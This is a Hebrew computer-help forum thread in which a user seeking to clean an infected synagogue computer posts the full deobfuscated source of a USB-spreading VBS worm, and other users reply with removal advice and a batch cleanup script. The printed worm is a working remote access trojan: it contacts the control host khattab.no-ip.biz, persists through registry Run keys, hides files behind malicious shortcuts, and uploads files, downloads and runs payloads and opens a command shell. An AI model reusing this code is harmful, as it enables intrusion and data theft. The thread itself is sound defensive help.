דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 150 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • מ מענין לשמוע

    @רנדומלי
    איזה פחד, איסט חוסם את הפוסט שלך!

    ר מנותק
    ר מנותק
    רנדומלי
    כתב נערך לאחרונה על ידי
    #3

    @מענין-לשמוע
    כלומר?
    אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

    מ תגובה 1 תגובה אחרונה
    0
    • ר רנדומלי

      @מענין-לשמוע
      כלומר?
      אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

      מ מנותק
      מ מנותק
      מענין לשמוע
      כתב נערך לאחרונה על ידי
      #4

      @רנדומלי
      כיביתי אותו.
      באיסט יש גם הגנת אינטרנט.
      פשוט הודעה אדומה על כל המסך - דף זה נחסם וכו'...

      תגובה 1 תגובה אחרונה
      0
      • בנימין מחשביםב מנותק
        בנימין מחשביםב מנותק
        בנימין מחשבים
        כתב נערך לאחרונה על ידי בנימין מחשבים
        #5

        @cfopuser @מתכנת-חובב @מישהו12 (kingyos לא מעז לתייג) וכל חובבי הווירוסים
        עריכה - אין כמו ביה"ז! רק תייגתי וכולכם מגיעים בשורה לעזור.. שאפו!! 🤩

        תגובה 1 תגובה אחרונה
        1
        • מישהו12מ מנותק
          מישהו12מ מנותק
          מישהו12
          מדריכים
          כתב נערך לאחרונה על ידי
          #6

          אם אני מבין נכון....

          https://mitmachim.top/topic/77/מחיקת-וירוס-קיצורי-הדרך-אחת-ולתמיד

          הבלוג שלי
          https://aiv-dev.com/he-IL/

          תגובה 1 תגובה אחרונה
          1
          • ר רנדומלי

            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

            cmd /c hrxxryydxo.vbs && start explorer [file name]
            

            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
            

            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
            לאחר פיענוח הקידוד התקבל הקוד הבא:
            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

            e
            '<[ recoder : houdini (c) skype : houdini-fx ]>
            
            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
            
            host = "khattab.no-ip.biz"
            port = 5550
            installdir = "%temp%"
            lnkfile = true
            lnkfolder = true
            
            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
            
            dim shellobj 
            set shellobj = wscript.createobject("wscript.shell")
            dim filesystemobj
            set filesystemobj = createobject("scripting.filesystemobject")
            dim httpobj
            set httpobj = createobject("msxml2.xmlhttp")
            
            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
            
            installname = wscript.scriptname
            startup = shellobj.specialfolders ("startup") & "\"
            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
            spliter = "<" & "|" & ">"
            sleep = 5000 
            dim response
            dim cmd
            dim param
            info = ""
            usbspreading = ""
            startdate = ""
            dim oneonce
            
            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
            on error resume next
            
            instance
            while true
            
            install
            
            response = ""
            response = post ("is-ready","")
            cmd = split (response,spliter)
            select case cmd (0)
            case "excecute"
                  param = cmd (1)
                  execute param
            case "update"
                  param = cmd (1)
                  oneonce.close
                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                  oneonce.write param
                  oneonce.close
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                  wscript.quit 
            case "uninstall"
                  uninstall
            case "send"
                  download cmd (1),cmd (2)
            case "site-send"
                  sitedownloader cmd (1),cmd (2)
            case "recv"
                  param = cmd (1)
                  upload (param)
            case  "enum-driver"
                  post "is-enum-driver",enumdriver  
            case  "enum-faf"
                  param = cmd (1)
                  post "is-enum-faf",enumfaf (param)
            case  "enum-process"
                  post "is-enum-process",enumprocess   
            case  "cmd-shell"
                  param = cmd (1)
                  post "is-cmd-shell",cmdshell (param)  
            case  "delete"
                  param = cmd (1)
                  deletefaf (param) 
            case  "exit-process"
                  param = cmd (1)
                  exitprocess (param) 
            case  "sleep"
                  param = cmd (1)
                  sleep = eval (param)        
            end select
            
            wscript.sleep sleep
            
            wend
            
            sub install
            on error resume next
            dim lnkobj
            dim filename
            dim foldername
            dim fileicon
            dim foldericon
            
            upstart
            for each drive in filesystemobj.drives
            
            if  drive.isready = true then
            if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                end if
                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                    if not lnkfile then exit for
                    if  instr (file.name,".") then
                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                            file.attributes = 2+4
                            if  ucase (file.name) <> ucase (installname) then
                                filename = split(file.name,".")
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                if  instr (fileicon,",") = 0 then
                                    lnkobj.iconlocation = file.path
                                else 
                                    lnkobj.iconlocation = fileicon
                                end if
                                lnkobj.save()
                            end if
                        end if
                    end if
                next
                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                    if not lnkfolder then exit for
                    folder.attributes = 2+4
                    foldername = folder.name
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                    if  instr (foldericon,",") = 0 then
                        lnkobj.iconlocation = folder.path
                    else 
                        lnkobj.iconlocation = foldericon
                    end if
                    lnkobj.save()
                next
            end If
            end If
            end if
            next
            err.clear
            end sub
            
            sub uninstall
            on error resume next
            dim filename
            dim foldername
            
            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
            filesystemobj.deletefile startup & installname ,true
            filesystemobj.deletefile wscript.scriptfullname ,true
            
            for  each drive in filesystemobj.drives
            if  drive.isready = true then
            if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                     on error resume next
                     if  instr (file.name,".") then
                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                             file.attributes = 0
                             if  ucase (file.name) <> ucase (installname) then
                                 filename = split(file.name,".")
                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                             else
                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                             end If
                         else
                             filesystemobj.deletefile (file.path) 
                         end if
                     end if
                 next
                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                     folder.attributes = 0
                 next
            end if
            end if
            end if
            next
            wscript.quit
            end sub
            
            function post (cmd ,param)
            
            post = param
            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
            httpobj.setrequestheader "user-agent:",information
            httpobj.send param
            post = httpobj.responsetext
            end function
            
            function information
            on error resume next
            if  inf = "" then
                inf = hwid & spliter 
                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
            
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set os = root.execquery ("select * from win32_operatingsystem")
                for each osinfo in os
                   inf = inf & osinfo.caption & spliter  
                   exit for
                next
                inf = inf & "plus" & spliter
                inf = inf & security & spliter
                inf = inf & usbspreading
                information = inf  
            else
                information = inf
            end if
            end function
            
            sub upstart ()
            on error resume Next
            
            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
            
            end sub
            
            function hwid
            on error resume next
            
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set disks = root.execquery ("select * from win32_logicaldisk")
            for each disk in disks
                if  disk.volumeserialnumber <> "" then
                    hwid = disk.volumeserialnumber
                    exit for
                end if
            next
            end function
            
            function security 
            on error resume next
            
            security = ""
            
            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
            for each objitem in colitems
                versionstr = split (objitem.version,".")
            next
            versionstr = split (colitems.version,".")
            osversion = versionstr (0) & "."
            for  x = 1 to ubound (versionstr)
                 osversion = osversion &  versionstr (i)
            next
            osversion = eval (osversion)
            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
            
            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
            
            for each objantivirus in colantivirus
                security  = security  & objantivirus.displayname & " ."
            next
            if security  = "" then security  = "nan-av"
            end function
            
            function instance
            on error resume next
            
            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
            if usbspreading = "" then
               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                  usbspreading = "true - " & date
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
               else
                  usbspreading = "false - " & date
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
            
               end if
            end If
            
            
            upstart
            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                wscript.quit 
            end If
            err.clear
            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
            if  err.number > 0 then wscript.quit
            end function
            
            sub sitedownloader (fileurl,filename)
            
            strlink = fileurl
            strsaveto = installdir & filename
            set objhttpdownload = createobject("msxml2.xmlhttp" )
            objhttpdownload.open "get", strlink, false
            objhttpdownload.send
            
            set objfsodownload = createobject ("scripting.filesystemobject")
            if  objfsodownload.fileexists (strsaveto) then
                objfsodownload.deletefile (strsaveto)
            end if
             
            if objhttpdownload.status = 200 then
               dim  objstreamdownload
               set  objstreamdownload = createobject("adodb.stream")
               with objstreamdownload
                    .type = 1 
                    .open
                    .write objhttpdownload.responsebody
                    .savetofile strsaveto
                    .close
               end with
               set objstreamdownload = nothing
            end if
            if objfsodownload.fileexists(strsaveto) then
               shellobj.run objfsodownload.getfile (strsaveto).shortpath
            end if 
            end sub
            
            sub download (fileurl,filedir)
            
            if filedir = "" then 
               filedir = installdir
            end if
            
            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
            set objhttpdownload = createobject("msxml2.xmlhttp")
            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
            objhttpdownload.send ""
                 
            set objfsodownload = createobject ("scripting.filesystemobject")
            if  objfsodownload.fileexists (strsaveto) then
                objfsodownload.deletefile (strsaveto)
            end if
            if  objhttpdownload.status = 200 then
                dim  objstreamdownload
                set  objstreamdownload = createobject("adodb.stream")
                with objstreamdownload 
                     .type = 1 
                     .open
                     .write objhttpdownload.responsebody
                     .savetofile strsaveto
                     .close
                end with
                set objstreamdownload  = nothing
            end if
            if objfsodownload.fileexists(strsaveto) then
               shellobj.run objfsodownload.getfile (strsaveto).shortpath
            end if 
            end sub
            
            function upload (fileurl)
            
            dim  httpobj,objstreamuploade,buffer
            set  objstreamuploade = createobject("adodb.stream")
            with objstreamuploade 
                 .type = 1 
                 .open
                 .loadfromfile fileurl
                 buffer = .read
                 .close
            end with
            set objstreamdownload = nothing
            set httpobj = createobject("msxml2.xmlhttp")
            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
            httpobj.send buffer
            end function
            
            function enumdriver ()
            
            for  each drive in filesystemobj.drives
            if   drive.isready = true then
                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
            end if
            next
            end Function
            
            function enumfaf (enumdir)
            
            enumfaf = enumdir & spliter
            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
            next
            
            for  each file in filesystemobj.getfolder (enumdir).files
                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
            
            next
            end function
            
            function enumprocess ()
            
            on error resume next
            
            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
            set colitems = objwmiservice.execquery("select * from win32_process",,48)
            
            dim objitem
            for each objitem in colitems
                enumprocess = enumprocess & objitem.name & "|"
                enumprocess = enumprocess & objitem.processid & "|"
                enumprocess = enumprocess & objitem.executablepath & spliter
            next
            end function
            
            sub exitprocess (pid)
            on error resume next
            
            shellobj.run "taskkill /F /T /PID " & pid,7,true
            end sub
            
            sub deletefaf (url)
            on error resume next
            
            filesystemobj.deletefile url
            filesystemobj.deletefolder url
            
            end sub
            
            function cmdshell (cmd)
            
            dim httpobj,oexec,readallfromany
            
            set oexec = shellobj.exec ("%comspec% /c " & cmd)
            if not oexec.stdout.atendofstream then
               readallfromany = oexec.stdout.readall
            elseif not oexec.stderr.atendofstream then
               readallfromany = oexec.stderr.readall
            else 
               readallfromany = ""
            end if
            
            cmdshell = readallfromany
            end function
            
            cfopuserC מנותק
            cfopuserC מנותק
            cfopuser
            כתב נערך לאחרונה על ידי cfopuser
            #7

            עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

            (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
            ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
            אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

            מתכנת חובבמ תגובה 1 תגובה אחרונה
            1
            • cfopuserC cfopuser

              עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

              (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
              ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
              אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי מתכנת חובב
              #8

              @cfopuser הוא לא יטפל בזה
              עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
              מה- startup הוא מנקה רק את אלו

              for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                  if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
              

              כנ"ל מהרגיסטרי

              ::Clean Registry / Startup
              For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
              	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
              		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
              			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
              			)
              		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
              			reg delete %%~P /v "%%~A" /f		
              			)
              		reg query %%~P /s
              		)
              	)
              for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
              	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
              		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
              	)
              	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
              		reg delete %%~P /v "%%~A" /f
              		)
              	reg query %%~P /s
              	)
              

              וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

              ::internal drives
              for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
              	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
              		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
              		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
              		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
              		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
              		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
              		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
              		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
              		)
              	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
              		attrib -s -h -r "%%X\%%A"
              		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
              		)
              	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
              		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
              			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
              			)
              		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
              			attrib -s -h -r "%%X\%%D\%%A"
              			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
              			)
              		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
              		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
              		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
              		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
              		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
              		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
              		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
              		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
              		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
              		)
              	set "AutoHK.NAPd="
              	)
              

              המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              cfopuserC תגובה 1 תגובה אחרונה
              1
              • מתכנת חובבמ מתכנת חובב

                @cfopuser הוא לא יטפל בזה
                עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
                מה- startup הוא מנקה רק את אלו

                for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                    if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
                

                כנ"ל מהרגיסטרי

                ::Clean Registry / Startup
                For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
                	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
                			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                			)
                		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                			reg delete %%~P /v "%%~A" /f		
                			)
                		reg query %%~P /s
                		)
                	)
                for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
                		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                	)
                	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                		reg delete %%~P /v "%%~A" /f
                		)
                	reg query %%~P /s
                	)
                

                וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

                ::internal drives
                for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
                	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
                		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
                		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
                		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
                		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
                		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
                		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
                		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
                		)
                	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                		attrib -s -h -r "%%X\%%A"
                		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                		)
                	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
                		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
                			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
                			)
                		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
                			attrib -s -h -r "%%X\%%D\%%A"
                			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                			)
                		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
                		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
                		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
                		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
                		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
                		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
